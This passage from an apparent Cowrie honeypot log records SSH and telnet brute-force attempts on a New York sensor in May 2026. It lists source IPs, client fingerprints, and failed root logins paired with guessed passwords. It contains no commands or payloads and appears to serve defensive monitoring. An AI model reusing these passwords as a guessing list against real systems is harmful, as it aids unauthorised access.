16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:17.407856Z","src_ip":"103.98.149.87","session":"2d0435df47a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem","message":"login attempt [root/artem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:18.739676Z","src_ip":"103.98.149.87","session":"2d0435df47a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:20.349400Z","src_ip":"103.98.149.87","session":"2d0435df47a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43854,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6c3829d387","protocol":"telnet","message":"New connection: 192.119.13.58:43854 (10.17.0.5:23) [session: af6c3829d387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:42.339099Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"25a13d938bd6","protocol":"ssh","message":"New connection: 200.175.61.207:58164 (10.17.0.5:22) [session: 25a13d938bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:50.873142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:50.881569Z","src_ip":"200.175.61.207","session":"25a13d938bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:51.025402Z","src_ip":"200.175.61.207","session":"25a13d938bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexandra123","message":"login attempt [root/alexandra123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:51.628867Z","src_ip":"200.175.61.207","session":"25a13d938bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:52.778513Z","src_ip":"200.175.61.207","session":"25a13d938bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56750,"dst_ip":"10.17.0.5","dst_port":23,"session":"08c3a4e738b2","protocol":"telnet","message":"New connection: 192.119.13.58:56750 (10.17.0.5:23) [session: 08c3a4e738b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:53.582072Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36604,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed4742a8b0b","protocol":"telnet","message":"New connection: 192.119.13.58:36604 (10.17.0.5:23) [session: eed4742a8b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:55.545499Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":42776,"dst_ip":"10.17.0.5","dst_port":22,"session":"28df1b239e65","protocol":"ssh","message":"New connection: 103.195.236.96:42776 (10.17.0.5:22) [session: 28df1b239e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:00.597375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:00.603088Z","src_ip":"103.195.236.96","session":"28df1b239e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:00.845147Z","src_ip":"103.195.236.96","session":"28df1b239e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mk2003","message":"login attempt [root/mk2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:01.820472Z","src_ip":"103.195.236.96","session":"28df1b239e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:03.076418Z","src_ip":"103.195.236.96","session":"28df1b239e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39970,"dst_ip":"10.17.0.5","dst_port":23,"session":"73a44c321ba4","protocol":"telnet","message":"New connection: 192.119.13.58:39970 (10.17.0.5:23) [session: 73a44c321ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:03.969298Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38520,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c4d5f2a5c3b","protocol":"ssh","message":"New connection: 109.237.96.109:38520 (10.17.0.5:22) [session: 7c4d5f2a5c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:20.797478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:20.802474Z","src_ip":"109.237.96.109","session":"7c4d5f2a5c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:20.893692Z","src_ip":"109.237.96.109","session":"7c4d5f2a5c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666777","message":"login attempt [root/666777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:21.168862Z","src_ip":"109.237.96.109","session":"7c4d5f2a5c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:22.261720Z","src_ip":"109.237.96.109","session":"7c4d5f2a5c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.925663232803345,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:27.264642Z","src_ip":"192.119.13.58","session":"af6c3829d387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":40261,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab88e47dddb","protocol":"telnet","message":"New connection: 186.195.16.41:40261 (159.203.135.109:23) [session: bab88e47dddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:31.630991Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"138a7f42a058","protocol":"telnet","message":"New connection: 192.119.13.58:42828 (10.17.0.5:23) [session: 138a7f42a058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:33.599225Z"}
{"eventid":"cowrie.session.closed","duration":39.1715624332428,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:34.716949Z","src_ip":"192.119.13.58","session":"eed4742a8b0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.34770917892456,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:34.929655Z","src_ip":"192.119.13.58","session":"08c3a4e738b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.982051849365234,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:36.612900Z","src_ip":"186.195.16.41","session":"bab88e47dddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49686,"dst_ip":"10.17.0.5","dst_port":22,"session":"679cb89804ca","protocol":"ssh","message":"New connection: 103.15.222.183:49686 (10.17.0.5:22) [session: 679cb89804ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:40.689467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:40.694518Z","src_ip":"103.15.222.183","session":"679cb89804ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:40.934824Z","src_ip":"103.15.222.183","session":"679cb89804ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwwwwwwwww","message":"login attempt [root/wwwwwwwwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:41.656435Z","src_ip":"103.15.222.183","session":"679cb89804ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:42.900509Z","src_ip":"103.15.222.183","session":"679cb89804ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.92808723449707,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:32:50.897241Z","src_ip":"192.119.13.58","session":"73a44c321ba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53964,"dst_ip":"10.17.0.5","dst_port":22,"session":"6957b12d2257","protocol":"ssh","message":"New connection: 87.251.79.125:53964 (10.17.0.5:22) [session: 6957b12d2257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:04.292141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:04.297318Z","src_ip":"87.251.79.125","session":"6957b12d2257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:04.372895Z","src_ip":"87.251.79.125","session":"6957b12d2257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z0102030405","message":"login attempt [root/z0102030405] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:04.604322Z","src_ip":"87.251.79.125","session":"6957b12d2257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:05.683288Z","src_ip":"87.251.79.125","session":"6957b12d2257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.40184164047241,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:15.000865Z","src_ip":"192.119.13.58","session":"138a7f42a058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":53706,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cc0c54925a","protocol":"ssh","message":"New connection: 200.175.61.207:53706 (10.17.0.5:22) [session: d2cc0c54925a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:21.343237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:21.348241Z","src_ip":"200.175.61.207","session":"d2cc0c54925a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:21.497818Z","src_ip":"200.175.61.207","session":"d2cc0c54925a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig2023#","message":"login attempt [root/k0nig2023#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:22.122092Z","src_ip":"200.175.61.207","session":"d2cc0c54925a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:23.274576Z","src_ip":"200.175.61.207","session":"d2cc0c54925a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52130,"dst_ip":"10.17.0.5","dst_port":23,"session":"f043f4e3f0ec","protocol":"telnet","message":"New connection: 192.119.13.58:52130 (10.17.0.5:23) [session: f043f4e3f0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:26.704683Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":60020,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa2c6caceb9","protocol":"ssh","message":"New connection: 103.219.170.37:60020 (159.203.135.109:22) [session: faa2c6caceb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:49.415631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:49.420671Z","src_ip":"103.219.170.37","session":"faa2c6caceb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:49.500390Z","src_ip":"103.219.170.37","session":"faa2c6caceb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:49.731890Z","src_ip":"103.219.170.37","session":"faa2c6caceb9","protocol":"ssh"}
